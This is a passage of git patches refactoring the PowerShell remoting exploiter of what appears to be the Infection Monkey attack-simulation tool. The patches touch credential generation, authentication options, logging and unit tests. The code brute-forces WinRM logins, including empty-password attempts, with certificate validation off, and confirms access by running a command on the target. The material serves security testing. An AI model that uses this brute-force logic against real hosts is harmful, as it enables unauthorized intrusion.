DROPPER_ARG, "parameters": monkey_params, } + + +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + +CONNECTION_TIMEOUT = 3 # Seconds + + +class IClient(Protocol): + def execute_cmd(self, cmd: str): + pass + + +def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: + + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + if auth_options.password == "": + ssl = False + else: + ssl = auth_options.is_https + auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC + encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER + + return Client( + auth_options.ip_addr, + username=auth_options.username, + password=auth_options.password, + cert_validation=False, + ssl=ssl, + auth=auth, + encryption=encryption, + connection_timeout=CONNECTION_TIMEOUT, + ) From b82f4e157ae59627e29a14b5812e4383d2a9dc51 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 15:25:13 +0300 Subject: [PATCH 107/454] Add logging to powershell exploiter in the case where powershell remoting seems to be disabled --- monkey/infection_monkey/exploit/powershell.py | 22 ++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8a6aa9927..8a86f8c39 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -28,6 +28,10 @@ LOG = logging.getLogger(__name__) TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" +class PowerShellRemotingDisabledError(Exception): + pass + + class PowerShellExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE @@ -47,7 +51,12 @@ class PowerShellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): - is_https = self._is_client_using_https() + try: + is_https = self._is_client_using_https() + except PowerShellRemotingDisabledError as e: + logging.info(e) + return False + credentials = CredentialGenerator( self.host.ip_addr, self._config.exploit_user_list, @@ -63,20 +72,23 @@ class PowerShellExploiter(HostExploiter): def _is_client_using_https(self) -> bool: try: + logging.debug("Checking if powershell remoting is enabled over HTTP.") self._try_http() return False except AuthenticationError: return False - except Exception: - pass + except Exception as e: + logging.debug(f"Powershell remoting over HTTP seems disabled: {e}") try: + logging.debug("Checking if powershell remoting is enabled over HTTPS.") self._try_https() return True except AuthenticationError: return True - except Exception: - raise Exception("Powershell remoting seems to be disabled.") + except Exception as e: + logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}") + raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): auth_options_http = AuthOptions( From aedc666e8ff657681d9c1408a619f82783a1541b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 16:12:25 +0300 Subject: [PATCH 108/454] Remove IP address from AuthOptions in powershell --- monkey/infection_monkey/exploit/powershell.py | 17 +++++++---------- .../exploit/powershell_utils/auth_options.py | 1 - .../exploit/powershell_utils/utils.py | 4 ++-- 3 files changed, 9 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 8a86f8c39..69e7afe95 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,7 +14,7 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generator import CredentialGenerator +from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, @@ -57,12 +57,12 @@ class PowerShellExploiter(HostExploiter): logging.info(e) return False - credentials = CredentialGenerator( - self.host.ip_addr, + credentials = get_credentials( self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os(), - ).get_credentials(is_https=is_https) + is_https=is_https, + ) self.client = self._authenticate_via_brute_force(credentials) if not self.client: @@ -92,7 +92,6 @@ class PowerShellExploiter(HostExploiter): def _try_http(self): auth_options_http = AuthOptions( - ip_addr=self.host.ip_addr, username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], is_https=False, @@ -101,7 +100,6 @@ class PowerShellExploiter(HostExploiter): def _try_https(self): auth_options_http = AuthOptions( - ip_addr=self.host.ip_addr, username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], is_https=True, @@ -111,7 +109,7 @@ class PowerShellExploiter(HostExploiter): def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: for credential in credentials: try: - client = PowerShellExploiter._authenticate(credential) + client = self._authenticate(credential) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " @@ -129,9 +127,8 @@ class PowerShellExploiter(HostExploiter): return None - @staticmethod - def _authenticate(auth_options: AuthOptions) -> IClient: - client = get_client_based_on_auth_options(auth_options) + def _authenticate(self, auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(self.host.ip_addr, auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 2ffd16848..09b5d3e8b 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -4,7 +4,6 @@ from typing import Union @dataclass class AuthOptions: - ip_addr: str username: Union[str, None] password: Union[str, None] is_https: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index d426cc6f9..b6198141d 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -34,7 +34,7 @@ class IClient(Protocol): pass -def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: +def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER if auth_options.password == "": @@ -45,7 +45,7 @@ def get_client_based_on_auth_options(auth_options: AuthOptions) -> IClient: encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER return Client( - auth_options.ip_addr, + ip_addr, username=auth_options.username, password=auth_options.password, cert_validation=False, From 47393b2d55432093f78a2621397ab6b4c5605257 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 1 Sep 2021 17:33:27 +0300 Subject: [PATCH 109/454] Fix powershell credential generation tests to use AuthOptions class --- .../exploit/powershell_utils/test_utils.py | 56 ++++++------------- 1 file changed, 17 insertions(+), 39 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 7f56f8613..65ecea49e 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,72 +1,50 @@ from infection_monkey.exploit.powershell_utils import utils +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials from infection_monkey.model.host import VictimHost -TEST_USERS = ["user1", "user2"] +TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] def test_get_credentials__empty_windows_true(): - credentials = utils.get_credentials([], [], True) + credentials = get_credentials([], [], True, True) assert len(credentials) == 1 - assert credentials[0] == (None, None) + assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) def test_get_credentials__empty_windows_false(): - credentials = utils.get_credentials([], [], False) + credentials = get_credentials([], [], False, True) assert len(credentials) == 0 def test_get_credentials__username_only_windows_true(): - credentials = utils.get_credentials(TEST_USERS, [], True) + credentials = get_credentials(TEST_USERNAMES, [], True, True) assert len(credentials) == 5 - assert (TEST_USERS[0], "") in credentials - assert (TEST_USERS[1], "") in credentials - assert (TEST_USERS[0], None) in credentials - assert (TEST_USERS[1], None) in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials def test_get_credentials__username_only_windows_false(): - credentials = utils.get_credentials(TEST_USERS, [], False) + credentials = get_credentials(TEST_USERNAMES, [], False, True) assert len(credentials) == 2 - assert (TEST_USERS[0], "") in credentials - assert (TEST_USERS[1], "") in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials def test_get_credentials__username_password_windows_true(): - credentials = utils.get_credentials(TEST_USERS, TEST_PASSWORDS, True) + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) assert len(credentials) == 9 - for user in TEST_USERS: + for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert (user, password) in credentials - - -def test_get_powershell_client_params__password_none(): - (ssl, auth, encryption) = utils.get_powershell_client_params(None) - - assert ssl is True - assert auth == utils.AUTH_NEGOTIATE - assert encryption == utils.ENCRYPTION_AUTO - - -def test_get_powershell_client_params__password_str(): - (ssl, auth, encryption) = utils.get_powershell_client_params("1234") - - assert ssl is True - assert auth == utils.AUTH_NEGOTIATE - assert encryption == utils.ENCRYPTION_AUTO - - -def test_get_powershell_client_params__password_empty(): - (ssl, auth, encryption) = utils.get_powershell_client_params("") - - assert ssl is False - assert auth == utils.AUTH_BASIC - assert encryption == utils.ENCRYPTION_NEVER + assert AuthOptions(username=user, password=password, is_https=True) in credentials def test_build_monkey_execution_command(): From 19c1d5c1aea7a81493c3114d4315933607f5c6e3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 12:05:08 -0400 Subject: [PATCH 110/454] Agent: Rename credential_generation -> credential_generators --- monkey/infection_monkey/exploit/powershell.py | 2 +- .../{credential_generation.py => credential_generators.py} | 0 .../infection_monkey/exploit/powershell_utils/test_utils.py | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename monkey/infection_monkey/exploit/powershell_utils/{credential_generation.py => credential_generators.py} (100%) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 69e7afe95..d6c5dba2c 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,7 +14,7 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials +from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generation.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py similarity index 100% rename from monkey/infection_monkey/exploit/powershell_utils/credential_generation.py rename to monkey/infection_monkey/exploit/powershell_utils/credential_generators.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 65ecea49e..3ba5388f9 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,6 +1,6 @@ from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials +from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.model.host import VictimHost TEST_USERNAMES = ["user1", "user2"] From b3436d660f9f6244f9a768b638c50994b004efc0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 12:06:58 -0400 Subject: [PATCH 111/454] Tests: Move PowerShell get_credentials() tests Move the tests for the PowerShell exploiter's get_credentials() function to test_credential_generators.py, since get_credentials() is now contained in credential_generators.py --- .../test_credential_generators.py | 45 +++++++++++++++++++ .../exploit/powershell_utils/test_utils.py | 45 ------------------- 2 files changed, 45 insertions(+), 45 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py new file mode 100644 index 000000000..15595bc84 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py @@ -0,0 +1,45 @@ +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials + +TEST_USERNAMES = ["user1", "user2"] +TEST_PASSWORDS = ["p1", "p2"] + + +def test_get_credentials__empty_windows_true(): + credentials = get_credentials([], [], True, True) + + assert len(credentials) == 1 + assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) + + +def test_get_credentials__empty_windows_false(): + credentials = get_credentials([], [], False, True) + + assert len(credentials) == 0 + + +def test_get_credentials__username_only_windows_true(): + credentials = get_credentials(TEST_USERNAMES, [], True, True) + + assert len(credentials) == 5 + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials + + +def test_get_credentials__username_only_windows_false(): + credentials = get_credentials(TEST_USERNAMES, [], False, True) + + assert len(credentials) == 2 + assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials + assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + + +def test_get_credentials__username_password_windows_true(): + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) + + assert len(credentials) == 9 + for user in TEST_USERNAMES: + for password in TEST_PASSWORDS: + assert AuthOptions(username=user, password=password, is_https=True) in credentials diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 3ba5388f9..de5ca3b5d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,51 +1,6 @@ from infection_monkey.exploit.powershell_utils import utils -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions -from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials from infection_monkey.model.host import VictimHost -TEST_USERNAMES = ["user1", "user2"] -TEST_PASSWORDS = ["p1", "p2"] - - -def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], True, True) - - assert len(credentials) == 1 - assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) - - -def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], False, True) - - assert len(credentials) == 0 - - -def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], True, True) - - assert len(credentials) == 5 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials - - -def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], False, True) - - assert len(credentials) == 2 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials - - -def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) - - assert len(credentials) == 9 - for user in TEST_USERNAMES: - for password in TEST_PASSWORDS: - assert AuthOptions(username=user, password=password, is_https=True) in credentials - def test_build_monkey_execution_command(): host = VictimHost("127.0.0.1") From 892aa83b396e82f5f95a4b5c328d8178dc9b153f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 12:54:32 -0400 Subject: [PATCH 112/454] Agent: Separate AuthOptions from Credentials --- monkey/infection_monkey/exploit/powershell.py | 46 +++++++++++-------- .../exploit/powershell_utils/auth_options.py | 5 +- .../auth_options_generators.py | 19 ++++++++ .../powershell_utils/credential_generators.py | 29 +++++------- .../exploit/powershell_utils/credentials.py | 8 ++++ .../exploit/powershell_utils/utils.py | 20 ++++---- .../test_auth_options_generators.py | 45 ++++++++++++++++++ .../test_credential_generators.py | 28 +++++------ 8 files changed, 134 insertions(+), 66 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py create mode 100644 monkey/infection_monkey/exploit/powershell_utils/credentials.py create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index d6c5dba2c..9069406f8 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,7 +14,9 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.exploit.powershell_utils.utils import ( IClient, get_client_based_on_auth_options, @@ -58,13 +60,11 @@ class PowerShellExploiter(HostExploiter): return False credentials = get_credentials( - self._config.exploit_user_list, - self._config.exploit_password_list, - is_windows_os(), - is_https=is_https, + self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() ) + auth_options = get_auth_options(credentials, is_https) - self.client = self._authenticate_via_brute_force(credentials) + self.client = self._authenticate_via_brute_force(credentials, auth_options) if not self.client: return False @@ -91,44 +91,50 @@ class PowerShellExploiter(HostExploiter): raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") def _try_http(self): - auth_options_http = AuthOptions( + credentials = Credentials( username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], - is_https=False, ) - self._authenticate(auth_options_http) + auth_options = AuthOptions( + ssl=False, + ) + self._authenticate(credentials, auth_options) def _try_https(self): - auth_options_http = AuthOptions( + credentials = Credentials( username=self._config.exploit_user_list[0], password=self._config.exploit_password_list[0], - is_https=True, ) - self._authenticate(auth_options_http) + auth_options = AuthOptions( + ssl=True, + ) + self._authenticate(credentials, auth_options) - def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]: - for credential in credentials: + def _authenticate_via_brute_force( + self, credentials: [Credentials], auth_options: [AuthOptions] + ) -> Optional[IClient]: + for (creds, opts) in zip(credentials, auth_options): try: - client = self._authenticate(credential) + client = self._authenticate(creds, opts) LOG.info( f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{credential.username}" + f"{creds.username}" ) - self.report_login_attempt(True, credential.username, credential.password) + self.report_login_attempt(True, creds.username, creds.password) return client except Exception as ex: # noqa: F841 LOG.debug( f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{credential.username}, Error: {ex}" + f"{creds.username}, Error: {ex}" ) - self.report_login_attempt(False, credential.username, credential.password) + self.report_login_attempt(False, creds.username, creds.password) return None - def _authenticate(self, auth_options: AuthOptions) -> IClient: - client = get_client_based_on_auth_options(self.host.ip_addr, auth_options) + def _authenticate(self, credentials: Credentials, auth_options: AuthOptions) -> IClient: + client = get_client_based_on_auth_options(self.host.ip_addr, credentials, auth_options) # attempt to execute dir command to know if authentication was successful client.execute_cmd("dir") diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 09b5d3e8b..5d590d166 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,9 +1,6 @@ from dataclasses import dataclass -from typing import Union @dataclass class AuthOptions: - username: Union[str, None] - password: Union[str, None] - is_https: bool + ssl: bool diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py new file mode 100644 index 000000000..304d798da --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options_generators.py @@ -0,0 +1,19 @@ +from typing import List + +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials + + +def get_auth_options(credentials: List[Credentials], ssl: bool) -> List[AuthOptions]: + auth_options = [] + + for cred in credentials: + opts = AuthOptions(ssl) + + # Passwordless login only works with SSL false + if cred.password == "": + opts.ssl = False + + auth_options.append(opts) + + return auth_options diff --git a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py index a376555ca..79840a800 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py +++ b/monkey/infection_monkey/exploit/powershell_utils/credential_generators.py @@ -1,46 +1,41 @@ from itertools import product from typing import List -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials def get_credentials( - usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool -) -> List[AuthOptions]: + usernames: List[str], passwords: List[str], is_windows: bool +) -> List[Credentials]: credentials = [] credentials.extend(_get_empty_credentials(is_windows)) credentials.extend(_get_username_only_credentials(usernames, is_windows)) - credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https)) + credentials.extend(_get_username_password_credentials(usernames, passwords)) return credentials -def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]: +def _get_empty_credentials(is_windows: bool) -> List[Credentials]: if is_windows: - return [AuthOptions(username=None, password=None, is_https=False)] + return [Credentials(username=None, password=None)] return [] -def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]: - credentials = [ - AuthOptions(username=username, password="", is_https=False) for username in usernames - ] +def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]: + credentials = [Credentials(username=username, password="") for username in usernames] if is_windows: credentials.extend( - [AuthOptions(username=username, password=None, is_https=True) for username in usernames] + [Credentials(username=username, password=None) for username in usernames] ) return credentials def _get_username_password_credentials( - usernames: List[str], passwords: List[str], is_https: bool -) -> List[AuthOptions]: + usernames: List[str], passwords: List[str] +) -> List[Credentials]: username_password_pairs = product(usernames, passwords) - return [ - AuthOptions(credentials[0], credentials[1], is_https=is_https) - for credentials in username_password_pairs - ] + return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs] diff --git a/monkey/infection_monkey/exploit/powershell_utils/credentials.py b/monkey/infection_monkey/exploit/powershell_utils/credentials.py new file mode 100644 index 000000000..1a11b3f18 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/credentials.py @@ -0,0 +1,8 @@ +from dataclasses import dataclass +from typing import Union + + +@dataclass +class Credentials: + username: Union[str, None] + password: Union[str, None] diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index b6198141d..1b8a92e4c 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -2,6 +2,7 @@ from pypsrp.client import Client from typing_extensions import Protocol from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline @@ -34,22 +35,19 @@ class IClient(Protocol): pass -def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient: - +def get_client_based_on_auth_options( + ip_addr: str, credentials: Credentials, auth_options: AuthOptions +) -> IClient: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - if auth_options.password == "": - ssl = False - else: - ssl = auth_options.is_https - auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC - encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER + auth = AUTH_NEGOTIATE if credentials.password != "" else AUTH_BASIC + encryption = ENCRYPTION_AUTO if credentials.password != "" else ENCRYPTION_NEVER return Client( ip_addr, - username=auth_options.username, - password=auth_options.password, + username=credentials.username, + password=credentials.password, cert_validation=False, - ssl=ssl, + ssl=auth_options.ssl, auth=auth, encryption=encryption, connection_timeout=CONNECTION_TIMEOUT, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py new file mode 100644 index 000000000..61a4583a0 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options_generators.py @@ -0,0 +1,45 @@ +# from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions +from infection_monkey.exploit.powershell_utils.auth_options_generators import get_auth_options +from infection_monkey.exploit.powershell_utils.credentials import Credentials + +CREDENTIALS = [ + Credentials("user1", "password1"), + Credentials("user2", ""), + Credentials("user3", None), +] + + +def test_get_auth_options__ssl_true_with_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=True) + + assert auth_options[0].ssl + + +def test_get_auth_options__ssl_true_empty_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=True) + + assert not auth_options[1].ssl + + +def test_get_auth_options__ssl_true_none_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=True) + + assert auth_options[2].ssl + + +def test_get_auth_options__ssl_false_with_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=False) + + assert not auth_options[0].ssl + + +def test_get_auth_options__ssl_false_empty_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=False) + + assert not auth_options[1].ssl + + +def test_get_auth_options__ssl_false_none_password(): + auth_options = get_auth_options(CREDENTIALS, ssl=False) + + assert not auth_options[2].ssl diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py index 15595bc84..7c41827ab 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_credential_generators.py @@ -1,45 +1,45 @@ -from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credential_generators import get_credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials TEST_USERNAMES = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] def test_get_credentials__empty_windows_true(): - credentials = get_credentials([], [], True, True) + credentials = get_credentials([], [], True) assert len(credentials) == 1 - assert credentials[0] == AuthOptions(username=None, password=None, is_https=False) + assert credentials[0] == Credentials(username=None, password=None) def test_get_credentials__empty_windows_false(): - credentials = get_credentials([], [], False, True) + credentials = get_credentials([], [], False) assert len(credentials) == 0 def test_get_credentials__username_only_windows_true(): - credentials = get_credentials(TEST_USERNAMES, [], True, True) + credentials = get_credentials(TEST_USERNAMES, [], True) assert len(credentials) == 5 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials + assert Credentials(username=TEST_USERNAMES[0], password="") in credentials + assert Credentials(username=TEST_USERNAMES[1], password="") in credentials + assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials + assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials def test_get_credentials__username_only_windows_false(): - credentials = get_credentials(TEST_USERNAMES, [], False, True) + credentials = get_credentials(TEST_USERNAMES, [], False) assert len(credentials) == 2 - assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials - assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials + assert Credentials(username=TEST_USERNAMES[0], password="") in credentials + assert Credentials(username=TEST_USERNAMES[1], password="") in credentials def test_get_credentials__username_password_windows_true(): - credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True) + credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True) assert len(credentials) == 9 for user in TEST_USERNAMES: for password in TEST_PASSWORDS: - assert AuthOptions(username=user, password=password, is_https=True) in credentials + assert Credentials(username=user, password=password) in credentials From da3475c645e4c7d1a59e48e9100f7c63ac74ac64 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 1 Sep 2021 13:20:54 -0400 Subject: [PATCH 113/454] Agent: Move Powershell auth and encryption selection to AuthOptions --- monkey/infection_monkey/exploit/powershell.py | 10 +++- 